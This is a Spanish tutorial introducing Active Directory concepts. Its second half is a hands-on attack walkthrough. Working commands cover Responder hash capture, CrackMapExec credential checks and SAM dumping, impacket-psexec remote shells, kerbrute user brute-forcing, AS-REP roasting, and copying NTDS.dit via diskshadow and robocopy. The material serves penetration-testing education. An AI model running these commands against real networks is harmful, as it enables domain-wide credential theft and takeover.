Introducción al Hacking de Active Directory
AD
Introducción
Active Directory es una extensión que implementa Microsoft la cual permite centralizar toda la información y recursos que estén disponibles en un equipo.
Hablando mas detalladamente :
Active Directory (AD) o directorio activo, es una piedra angular de la infraestructura informática de la empresa moderna. Es un servicio de directorio desarrollado por Microsoft para las redes de dominios de Windows, que sirve como herramienta esencial para organizar y gestionar usuarios, sus atributos y pertenencia a grupos, cuentas de ordenador, recursos de red y mucho más.
Las redes de dominios de Windows son grupo de equipos Windows conectados que comparten información de cuentas de usuario y una política de seguridad
Active Directory (AD) es una tecnología de Microsoft que se usa principalmente en empresas para organizar y controlar el acceso a los recursos de una red, como computadoras, impresoras, usuarios y contraseñas.
Piensa en AD como el "cerebro" o el "jefe de seguridad" de una red de computadoras en una empresa.
El directorio activo es como una guía telefónica para su infraestructura de IT y sus usuarios. Dota a los equipos de servicios centralizados de autenticación y autorización destinados a los ordenadores basados en Windows. AD está diseñado para comprobar si alguien tiene las credenciales correctas (autenticación) y determina a qué archivos o aplicaciones puede acceder en función de su función o pertenencia a un grupo (autorización).
En términos sencillos, AD ofrece funcionalidades y componentes clave como la gestión de políticas de grupo, los servicios de dominio y la compatibilidad con el protocolo ligero de acceso a directorios LDAP - Lightweight Directory Access Protocol
AD desempeña un papel crucial a la hora de mantener el orden, al tiempo que garantiza la seguridad en todo el entorno de red empresarial de una organización. Permite a los equipos de TI gestionar eficazmente usuarios, ordenadores, dispositivos adicionales y otros recursos desde una ubicación central, lo que hace más eficaz la gestión de la red, la TI y la seguridad.
La estructura de Active Directory incluye tres niveles principales: dominios, árboles, bosques – (domains, trees, forests). Varios objetos (usuarios o dispositivos) que utilizan la misma base de datos pueden agruparse en un único dominio. Varios dominios pueden combinarse en un único grupo llamado árbol. Múltiples árboles pueden agruparse en un conjunto llamado bosque. A cada uno de estos niveles se le pueden asignar derechos de acceso y privilegios de comunicación específicos.
¿Qué hace exactamente?
Imagina una oficina muy grande con muchas puertas (computadoras), empleados (usuarios) y archivadores (recursos como archivos, impresoras, etc). No quieres que cualquiera entre a cualquier puerta o revise cualquier archivador. Entonces, tienes una recepción central (Active Directory) que:
Te identifica (con tu usuario y contraseña).
Te dice a qué puertas puedes entrar.
Qué impresoras puedes usar.
Qué archivos puedes ver o editar.
Y te impide hacer cosas para las que no tienes permiso.
Cómo funciona para un usuario normal?
Cuando tú prendes una compu en una red con Active Directory:
Aparece la pantalla de inicio de sesión.
Escribes tu usuario y contraseña.
AD verifica si tus datos son correctos.
Si todo bien, te deja entrar y te da acceso solo a lo que te corresponde.
Y para la empresa?
El área de sistemas o los administradores pueden:
Crear o eliminar cuentas de usuario.
Cambiar contraseñas.
Dar o quitar permisos.
Organizar a los usuarios en grupos (por departamentos, por ejemplo).
Aplicar reglas a todos los equipos de la red desde un solo lugar (por ejemplo: que nadie pueda instalar programas sin permiso).
Palabras clave que verás relacionadas a AD:
Dominio: el grupo de computadoras y usuarios controlado por AD.
Controlador de dominio: el servidor que corre Active Directory.
LDAP: protocolo que usa AD para buscar y organizar cosas.
GPO (Group Policy Objects): reglas que se aplican a usuarios o computadoras (por ejemplo, bloquear acceso a panel de control).
Organizational Units (OUs): como carpetas para ordenar usuarios y recursos.
¿Y por qué es importante para ciberseguridad?
Porque si un atacante logra acceso a Active Directory, puede:
Robar contraseñas de todos.
Darse permisos de administrador.
Controlar toda la red.
Por eso es un objetivo clave en muchos ataques avanzados.
Imagen representativa del funcionamiento de AD
el DC o Domain Controler (Controlador de dominio) Un Domain Controller es una computadora (servidor) que administra la seguridad y las políticas de acceso en una red usando Active Directory (AD). es el rol de servidor de Windows que alberga los Servicios de dominio de Active Directory (AD DS)
Piensa en el DC como el portero + jefe de seguridad + administrador central de toda la red.
Qué funciones cumple?
Autenticación
Cuando un usuario entra a una PC y pone su usuario/contraseña, el DC es quien verifica si esa contraseña es válida.
Si la contraseña está bien, da acceso.
Si no, la rechaza.
Autorización
Una vez que entras, decide qué puedes hacer: abrir carpetas, imprimir, instalar cosas, entrar a ciertas apps, etc.
Gestión de usuarios y equipos
El DC tiene una base de datos con:
Todos los usuarios.
Todas las computadoras.
Todos los grupos (como “Contabilidad”, “Soporte Técnico”, etc).
Todos los permisos de cada uno.
Aplicación de políticas (GPO)
A través del DC se aplican reglas automáticas a todas las computadoras y usuarios.
Ej: bloquear el acceso al panel de control.
O que el fondo de pantalla sea el mismo para todos.
Sincronización entre DCs (si hay más de uno)
En redes grandes, puedes tener varios Domain Controllers, y ellos se mantienen sincronizados para que todo esté actualizado en todas partes.
Qué contiene internamente?
Dentro del DC vive una base de datos especial llamada NTDS.dit, que contiene todo el Active Directory: usuarios, contraseñas, grupos, políticas, etc.
Esa base de datos está protegida, pero si alguien logra acceder a ella (por ejemplo, con herramientas como (Mimikatz
o ntdsutil
que veremos despues), puede robar todas las contraseñas del dominio.
Ejemplo en la vida real?
Imagina que trabajas en una empresa con 200 empleados. Cada vez que encienden su computadora, se conectan al DC. El DC revisa su contraseña y le dice: "Bienvenido, tú trabajas en Ventas, así que puedes entrar al sistema de clientes, pero no al sistema de Finanzas." Si la empresa quiere cambiar una política (por ejemplo, que todos bloqueen la pantalla tras 5 minutos), lo hacen desde el DC y se aplica automáticamente a todos los equipos.
📌 Datos técnicos importantes
El DC corre sobre Windows Server (como Windows Server 2019 o 2022).
Necesita tener instalado el rol de Active Directory Domain Services (AD DS).
Es común tener al menos dos DCs por seguridad (si uno se cae, el otro sigue funcionando).
Qué pasa si el Domain Controller falla?
Nadie puede iniciar sesión en la red (si no hay un segundo DC).
Se caen políticas, reglas y validaciones.
Es una pieza crítica, por eso los administradores de red lo protegen mucho.

Diagrama sobre el Domain Controller ⬆️
Tabla⬇️
Domain Controller (DC)
Servidor
Valida usuarios, gestiona políticas y controla permisos
Red empresarial (Windows Server)
🌟 Es el cerebro de toda la red
Cliente (PC de usuario)
Computadora del usuario
Se conecta al DC para iniciar sesión y obtener permisos
Escritorio, laptop, etc.
Necesita al DC para funcionar correctamente
Active Directory (AD)
Base de datos de usuarios y recursos
Guarda información de cuentas, permisos y grupos
Dentro del DC
Base de datos central
GPO (Group Policy Objects)
Conjunto de reglas
Aplica configuraciones automáticas a PCs/usuarios
Controlado desde el DC
Define el "comportamiento" de la red
DNS Server
Traductor de nombres
Traduce nombres como empresa.local
a direcciones IP
Puede vivir en el mismo servidor que el DC
Necesario para ubicar al DC en la red
OU (Organizational Unit)
Carpeta lógica
Organiza usuarios, equipos y políticas por departamentos
Dentro del AD
Ayuda a mantener todo ordenado
Dominio (Domain)
Definición: Es una entidad lógica dentro del Directorio Activo que agrupa un conjunto de objetos bajo una única política de seguridad y base de datos.
Ejemplo:
c.com
podría ser el nombre de dominio principal de una organización, bajo el cual todos los usuarios, equipos y recursos están registrados.
Objeto (Object)
Definición: Es una entidad individual dentro del Directorio Activo, como un usuario, grupo o equipo.
Ejemplo:
ar@c.com
podría ser un objeto usuario en el dominio.
Árbol (Tree)
Definición: Es una colección de uno o más dominios de Directorio Activo que comparten un espacio de nombres contiguo y una estructura jerárquica.
Ejemplo: Bajo el dominio
c.com
, podría haber subdominios comol.c.com
yh.c.com
. Juntos, forman un árbol.
Bosque (Forest)
Definición: Es una colección de árboles que comparten un catálogo global, esquema y operaciones maestras. Cada bosque actúa como un contenedor de seguridad.
Ejemplo:
c.com
yc-c.com
podrían ser dos árboles diferentes pero pertenecer al mismo bosque, compartiendo un catálogo global y políticas de seguridad.
Unidad Organizativa (OU)
Definición: Es un contenedor dentro del Directorio Activo que puede contener usuarios, grupos, equipos y otras OUs. Ayuda a organizar y administrar recursos.
Ejemplo: Dentro de
c.com
, podría haber una OU llamada "Departamento de Finanzas" que agrupa a todos los usuarios y recursos relacionados con las finanzas.
ACL (Access Control List)
Definición: Es una lista de permisos adjuntos a un objeto que especifica qué usuarios/grupos tienen acceso al objeto y qué operaciones pueden realizar.
Ejemplo: En la OU "Departamento de Finanzas" de
c.com
, podría haber una ACL que solo permita a los usuarios del departamento acceder a ciertos archivos críticos.Las ACLs son listas que definen los permisos individuales de acceso a objetos específicos como archivos, directorios, objetos de AD, etc.
Cada objeto en AD y en el sistema de archivos de Windows tiene una ACL que define quién puede interactuar con el objeto y de qué manera (leer, escribir, ejecutar, modificar, etc.).
Los cambios en las ACLs generalmente afectan a un solo objeto o a un grupo pequeño de objetos relacionados.
Las ACLs mal configuradas o comprometidas pueden permitir accesos no autorizados a datos sensibles, escalada de privilegios y control sobre recursos críticos.
GPO (Group Policy Object)
Definición: Es un conjunto de configuraciones de políticas que se pueden aplicar a usuarios o equipos dentro de un dominio. Las GPOs controlan una variedad de configuraciones, desde políticas de seguridad hasta configuraciones de software.
Ejemplo: Una GPO en
c.com
podría establecer que todas las computadoras del dominio tengan actualizaciones automáticas activadas y que se bloqueen después de 10 minutos de inactividad.Las GPOs son utilizadas para controlar el entorno de trabajo de usuarios y computadoras en una red. Permiten la configuración en masa de políticas que afectan a aspectos como la configuración de seguridad, asignaciones de software, scripts de inicio/cierre de sesión y configuraciones de usuario, entre otros.
Las GPOs se aplican a gran escala en el dominio, las OUs o a nivel de sitio en Active Directory.
Un cambio en una GPO puede afectar a muchas cuentas y dispositivos simultáneamente.
Los abusos de las GPO pueden llevar a la propagación de malware, configuraciones de seguridad debilitadas, escalada de privilegios, etc.
Trabajo de active directory
Usuarios y grupos
En un entorno de Active Directory (AD), hay varios grupos y usuarios predeterminados que son creados durante la instalación. Estos grupos y usuarios tienen diferentes niveles de privilegios que permiten realizar ciertas tareas dentro del dominio.
Grupos predeterminados de Active Directory:
Domain Admins: Este grupo tiene control total sobre todos los dominios en el bosque. Cualquier usuario que sea miembro de este grupo puede realizar cualquier cambio en el dominio, como crear o eliminar otros usuarios, grupos y modificar políticas de seguridad.
Enterprise Admins: Los miembros de este grupo tienen permisos para realizar cambios a nivel de toda la empresa, incluidos todos los dominios y bosques.
Schema Admins: Los usuarios en este grupo pueden hacer cambios en el esquema de AD, que es la definición de objetos y atributos que pueden ser creados y almacenados en AD.
Account Operators: Pueden administrar las cuentas de usuario y grupos dentro de un dominio, pero no pueden modificar los miembros de los grupos de administradores ni cambiar la configuración de los servidores de dominio.
Backup Operators: Pueden realizar copias de seguridad y restaurar archivos en un servidor, independientemente de los permisos de acceso a esos archivos.
Server Operators: Pueden realizar tareas de mantenimiento en servidores de dominio.
Guests: Es un grupo que por defecto tiene privilegios mínimos, y generalmente se utiliza para proporcionar acceso temporal o limitado a la red.
DNS Admins: Es un grupo especial que tiene privilegios administrativos sobre el servicio DNS del dominio.
Usuarios predeterminados de Active Directory:
Administrator: La cuenta de administrador del dominio que tiene acceso total a todos los servidores y estaciones de trabajo del dominio.
Guest: Una cuenta de usuario que tiene privilegios limitados, generalmente deshabilitada por defecto.
Servicios
[[LDAP - Lightweight Directory Access Protocol]] : el protocolo principal utilizado en la comunicación entre el cliente y servidor. LDAP funciona en el puerto TCP 389 pero también puede utilizar el puerto TCP 636 para conexiones cifradas SSL/TLS
Kerberos : Es un protocolo de autenticación utilizado por active directory para verificar la identidad de los usuarios y proporcionarles acceso a los recursos de la red. Kerberos funciona en el puerto de UDP 88, pero también puede utilizar el mismo puerto pero ahora en TCP para conexiones cifradas. Cuando un cliente se autentica por primera vez se genera un token que permite autenticarse a los demás servicios sin tener que proporcionar usuario y password denuevo
SMB (Server Message Block) : Es un protocolo utilizado para compartir archivos e impresoras de la red. SMB funciona en el puerto de TCP 445
DNS (Domain Name System) : Protocolo utilizado para resolver los nombres de dominio en direcciones IP (y viceversa aunque depende de la configuración del servidor). Este servicio corre por el puerto de UDP 53
WinRM (Windows Remote Management) : es el protocolo de administración remota de Windows. Utiliza el puerto TCP 5985 para conexiones HTTP, también utiliza el puerto 5986 para conexiones HTTPS. También se usa RDP (Remote Desktop Protocol) pero ese corre por una interfaz grafica.
NTDS.DIT
La mencionada anteriormente base de datos de active directory
Contiene la información de todos los objetos de AD, cada DC tiene una copia de la base de datos y se actualizan todas por igual
Autenticación
AD siempre va por defecto de kerberos para la autenticación de usuarios pero si no funciona o no esta disponible va a utilizar NTLM
Nombres
Kerberos :
kerberos.dll
NTLM :
Msv1_0.dll
Digest :
Wdigest.dll
Negotiate :
isars.dll
Como funciona Kerberos?
el cliente solicita un ticket TGT (TGT request - Ticket Granting Ticket) Ticket TGT : especifica quien eres y que permisos tienes
ese paquete contiene el timestamp del momento cuando se envió la petición al servidor
se cifra en un hash el timestamp y password enviadas
se envía la request al KDC - Key Distribution Center (funcionalidad del DC que se instala para poder recibir este tipo de solicitudes)
si el KDC comprueba que todo es correcto enviara el TGT cifrado con la password
el cliente obtiene su TGT y lo manda al servidor para autenticarse a un determinado servicio mediante un TGS (Ticket Granting Service) , como ya se envió el TGT cifrado al usuario de kerberos va a decir que todos los permisos que tiene ese TGT son reales y le envía el TGS, con el que ya puede acceder, el TGS se envía siempre y cuando tengas el TGT cifrado por el usuario de kerberos, ósea el usuario
krbtgt
Dentro del protocolo Kerberos, los "Tickets" son elementos fundamentales que facilitan el proceso de autenticación y autorización de usuarios en un entorno de red seguro. Estas estructuras digitales permiten a los usuarios autenticados acceder a servicios y recursos dentro del dominio de Kerberos sin necesidad de reautenticarse constantemente, implementando un modelo de seguridad basado en tickets. Los tickets son cuidadosamente cifrados para asegurar la protección de la información que contienen
el funcionamiento de NTLM es casi igual solo que este cuando el usuario se intenta autenticar se le envía un reto (una cadena grandísima de caracteres) la cual es cifrada por el hash nt del cliente, el cual envía al servidor que lo envía al DC y este lo autentica si todo es correcto
S4U (Service for User) es un conjunto de extensiones Kerberos que incluye S4U2self y S4U2proxy, utilizadas en Active Directory para la delegación de credenciales:
S4U2self: Permite a un servicio obtener un ticket Kerberos para un usuario en específico, incluso si el usuario no ha iniciado sesión. Esto es útil para escenarios donde un servicio necesita actuar en nombre de un usuario.
S4U2proxy: Extiende la funcionalidad de S4U2self, permitiendo a un servicio usar un ticket obtenido a través de S4U2self para solicitar tickets adicionales para acceder a otros servicios en nombre del usuario.
En ataques de Active Directory, estas extensiones pueden ser explotadas para escalar privilegios o moverse lateralmente en una red.
Hacking
Vamos a hablar un poco de algunos ataques basicos y herramientas que se utilizan en el Hacking de Active Directory para tener un climax en los ataques mas basicos
Consecuencias de abuso de grupos y usuarios
Impacto de la Compromisión de Cuentas Privilegiadas:
Si un atacante compromete una cuenta perteneciente a uno de los grupos privilegiados, como Domain Admins o Enterprise Admins, podría tener impactos severos en la seguridad de la red. Por ejemplo:
Compromiso de Domain Admins: El atacante podría crear cuentas de usuario adicionales para acceso persistente, cambiar políticas de seguridad, acceder a datos confidenciales, implementar malware en toda la red, tomar control de otros servidores y estaciones de trabajo, y más.
Compromiso de Enterprise Admins: Este nivel de acceso podría permitir al atacante afectar múltiples dominios dentro del bosque de AD, potencialmente dándoles el control sobre toda la infraestructura de IT de la empresa.
Compromiso de Schema Admins: El atacante podría modificar el esquema de AD, lo que puede tener un impacto duradero y posiblemente irreversible en la estructura del directorio y la interoperabilidad de los servicios basados en AD.
Compromiso de Account Operators: Aunque no pueden cambiar cuentas de administradores, podrían alterar otras cuentas y grupos, posiblemente creando puertas traseras para ellos mismos.
Compromiso de Backup Operators: Podrían utilizar sus privilegios para copiar datos confidenciales o alterar/eliminar respaldos para impedir la recuperación después de un incidente
Ataques y herramientas
capturando hashes : NTLMv2
por defecto cuando queremos acceder a un recurso compartido nos debemos autenticar contra el recurso compartido. Cuando estos recursos no existen o por alguna razón no están disponibles tu dispositivo preguntara a nivel de red donde esta ese recurso compartido mediante ARP
Cuando suceda eso nosotros le podemos decir al dispositivo que nosotros tenemos el recurso compartido, nos preguntara donde y ahora nosotros decimos que se autentique sobre nosotros, donde podremos capturar su hash gracias que nos lo ha pasado. Esto se hace mediante la herramienta Responder.
Responder es una herramienta de post-explotación muy conocida usada en tests de penetración y ataques reales contra redes Windows.Responder es una herramienta desarrollada por la comunidad de seguridad (especialmente por Laurent Gaffié) que sirve para realizar ataques de envenenamiento de protocolos de red (como LLMNR, NBT-NS y MDNS) en redes Windows, con el objetivo de capturar credenciales de usuarios de Active Directory.
Responder se coloca en una red interna y actúa como un "falso servidor" que responde a ciertas solicitudes de red que los dispositivos de Windows lanzan cuando no encuentran algo en DNS. Aquí es donde entran los protocolos como:
LLMNR (Link-Local Multicast Name Resolution)
NBT-NS (NetBIOS Name Service)
MDNS (Multicast DNS)
Cuando una máquina hace una petición (por ejemplo, busca el nombre de otro equipo o servidor que no puede resolver), Responder finge ser ese recurso y engaña a la máquina para que le envíe sus credenciales (NTLM hashes).
Una vez que Responder captura un hash NTLMv2, se puede:
Romperlo por fuerza bruta (brute-force o cracking offline)
Usar técnicas como Pass-the-Hash si se puede aprovechar directamente.
Escalar privilegios si las credenciales son de un usuario con más permisos.
Responder -I interfaz-de_red_aqui -rdw

podemos abrir wireshark para ver como se esta efectuando el ataque a bajo nivel
CrackMapExec
una herramienta muy utilizada en el Hacking de AD
CrackMapExec (a menudo abreviado como CME) es una herramienta de post-explotación y reconocimiento utilizada principalmente por profesionales de seguridad informática y pentesters para evaluar la seguridad de redes Windows basadas en Active Directory.
Fue creada por @byt3bl33d3r y es muy popular en el ámbito de red teaming y pruebas de penetración internas.
Qué hace CrackMapExec?
CrackMapExec permite automatizar muchas tareas comunes al interactuar con redes Windows. Algunas de sus funcionalidades más destacadas son:
Enumeración de recursos compartidos SMB
Comprobación de credenciales (usuarios/contraseñas) contra múltiples hosts
Enumeración de usuarios, grupos, políticas, etc.
Ejecución de comandos remotamente (si se tienen permisos)
Dump de hashes de contraseñas (con herramientas como Mimikatz integradas)
Soporte para Pass-the-Hash y técnicas similares
Protocolos que soporta
CrackMapExec soporta varios protocolos a través de módulos
SMB (
smb
)WinRM (
winrm
)RDP (
rdp
)MSSQL (
mssql
)LDAP (
ldap
)Vamos a ver un ejemplo de como funciona CrackMapExec
crackmapexec smb 192.168.1.1/24 -u 'Administrador' -p 'Password123'
# hacemos un escaneo de la red por smb suponiendo que ya tenemos el user y password del DC, nos dira si hay sistemas donde podremos conectarnos y abrir una shell, se nos indica mediante la palabra pwned
Ahora vamos a intentar Dumpear la SAM, un archivo en windows que contiene las credenciales del dispositivo de manera local
c:\\windows\system32\config # ubicacion del archivo
crackmapexec smb 192.168.1.100 -u 'Administrador' -p 'password123' --sam 2>/dev/null
si tenemos un hash NTLM (estructurado por primero el LM y luego NTLM) por ejemplo con este hash NT podemos hacer un PassTheHash
Que es el pass the hash? un ataque que nos permite utilizar un hash como la contraseña
Acceso Remoto
utilizamos la herramienta impacket-psexec para obtener acceso remoto a las computadoras
impacket-psexec 'example.com/Administrador:password123@192.168.1.100'
# instalara una shell y nos la dara
impacket-psexec
es una herramienta incluida en la suite Impacket, un conjunto de scripts y librerías en Python creados por SecureAuth que permiten trabajar con protocolos de red a nivel bajo en entornos Windows *(SMB, NTLM, RPC, etc.).
impacket-psexec
permite ejecutar comandos de forma remota en sistemas Windows usando el protocolo SMB, de manera similar a la herramienta PsExec de Sysinternals/Microsoft.
Funcionalidad principal:
Ejecutar comandos en un sistema Windows remoto sin necesidad de instalar software en el equipo de destino.
Utiliza SMB para establecer una conexión, copia un archivo
.exe
temporal al sistema remoto (por defectocmd.exe
), lo ejecuta, y devuelve la salida al atacante.
ejemplo para que lo vean (como el ejemplo anterior) :
impacket-psexec DOMAIN/usuario:contraseña@ip
aquí vemos mas detalladamente que datos debemos introducir.
Enumeración
Active directory se basa siempre en la enumeración , por ejemplo encontrar usuarios y utilizar esos usuarios para conseguir mas información de recursos, como si fuera un pivot.
podemos enumerar puertos abiertos para el reconocimiento mediante [[Nmap]] si tenemos la Ip del DC
Algo MUY IMPORTANTE es enumerar los recursos por Samba en el hacking, debemos enumerar si tiene el servicio de SAMBA expuesto :
crackmapexec smb ip
# si la maquina tiene el servicio expuesto vamos al siguiente paso
smbmap -H ip -u 'null'
# ahora enumeramos los archivos, smbmap nos dira que permisos tenemos ante los contenidos
# el parametro 'null' significa null session, que nos permite autenticarnos sin password y sin user
# si vemos un directorio 'profriles$' esos son los usuarios del AD, los cuales han quedado expuestos por accidente, asi podremos crear un diccionario de potenciales usuarios
podemos hacer OSINT en tools como hunter.io o LinkedIn para crear posibles usuarios si es que no hemos descubierto los usuarios
No importa la manera en que hayamos enumerado usuarios, lo importante es tener el diccionario. Con este diccionario como muchos ya se imaginan podremos hacer ataques de fuerza bruta :
kerbrute -dc-ip ip -domain example.local -users diccionario.txt
es probable que encontremos varios usuarios al hacer el escaneo pero si uno aparece con la leyenda [NOT PREAUTH]
==podremos hacernos pasar por ese usuario sin problemas==, para ese debemos generar su ticket TGT, debemos hacer un ataque ASREP Roasting o Kerberos AS-REP Roasting
Es una técnica que permite a un atacante obtener hashes crackeables de contraseñas de usuarios de Active Directory que no requieren preautenticación Kerberos (como vimos en el ejemplo anterior).
Cuando un usuario se autentica en AD usando Kerberos:
El cliente envía una solicitud AS-REQ al controlador de dominio (KDC).
Normalmente, el KDC responde con un error si la preautenticación es requerida y no se ha incluido.
Cuando se requiere preautenticación, el usuario tiene que encriptar un timestamp con su contraseña para probar su identidad.
Pero si un usuario tiene deshabilitada la preautenticación, el KDC responde directamente con un mensaje AS-REP que contiene datos cifrados con la contraseña del usuario (más específicamente, con una clave derivada de ella).
impacket -GetNPUUsers example.local/user23 -no-pass
Luego de eso debemos crackear la contraseña y verificarla por CrackMapExec, si nos da un match quiere decir que la password es valida
crackmapexec smb ip -u 'user23' -p 'passowrdcrackeada'
Información del dominio
Ahora vamos a conseguir información del dominio local que esta presenta en nuestro entorno de AD
rpcclient -U 'user23%#00^Pass123' ip
ldapdomaindump -u 'example.local\user23' -p '#00^Pass123' ip
recordemos remplazar los datos por los que se deberían acorde a nuestra situación
Bloodhound
Esta es una herramienta de Hacking desarrollada en Python, cuando no tenemos acceso al sistema pero si tenemos un TGT podemos utilizar bloodhound para sacar información del dominio y montar su infraestructura en la maquina atacante. Aparte nos enumera vías potenciales para pasar de un usuario a otro, intentar comprometer el dominio, etc
SMBMAP es una herramienta que nos permite movernos y utilizar archivos de un SMB,Permite a los usuarios enumerar recursos compartidos de Samba . Permite subir, descargar y eliminar archivos. Enumeración de permisos (recursos compartidos con permisos de escritura, compatible con Metasploit). por ejemplo aquí vamos a descargar un archivo de un SMB
smbmap -H ip -u 'victim123' -p 'pass123' --download d/memory/confidencial.pdf
Pwnear el SAM
como se menciono anteriormente el SAM es el archivo que contiene las credenciales del equipo de forma local
el archivo del sam esta cifrado pero la password esta guardada en un archivo que si podemos ver (literalmente), entonces al conseguir esto podremos descifrar el archivo SAM
Ubicaciones
HKLM/system HKLM/sam
comandos a ejecutar en la maquina victima :
reg save HKLM\system system
reg save HKLM\sam sam
download system
download sam
ahora vamos a utilizar samdump2 para hacer el descifrado
samdump2 system sam
| |
|
--- los nombres de los archivos que guardamos anteriormente
Crackeando el Ntds.dit
como ya hemos visto esta es la base de datos principal del AD y vamos a crackearla para conseguir los hashes de todos los usuarios mediante diskshadow
diskshadow es una herramienta que esta nativa en Windows server desde 2008 la cual trabaja desde la línea de comandos de Windows que permite administrar instantáneas de software y hardware. Se basa en el Servicio de instantáneas de volumen (VSS).
Qué se puede hacer con DiskShadow
Enumerar instantáneas, proveedores de VSS y escritores
Crear nuevas instantáneas
Importar instantáneas transportables
Exponer instantáneas persistentes
Reverter un volumen a una instantánea específica
Probar manualmente las operaciones de VSS
Verificar la estabilidad de los proveedores de escritores y el proceso de creación de instantáneas
diskshadow /s .\diskshadow.txt
|
set context persistent nowriters
set metadata C:\windows\system32\spool\drivers\color\example.cab
set verbose on
add volume c: alias caracola
create
# estamos creando un alias del volumen que tendra el mismo contenido y nos permitira dumpear el archivo de ntds.dit
ahora con la herramienta robocopy (tambien nativa de windows) vamos a copiar y pegar el archivo
robocopy \b h:\Windows\ntds C:\Users\svc_backup\Music\ ntds.dit
Last updated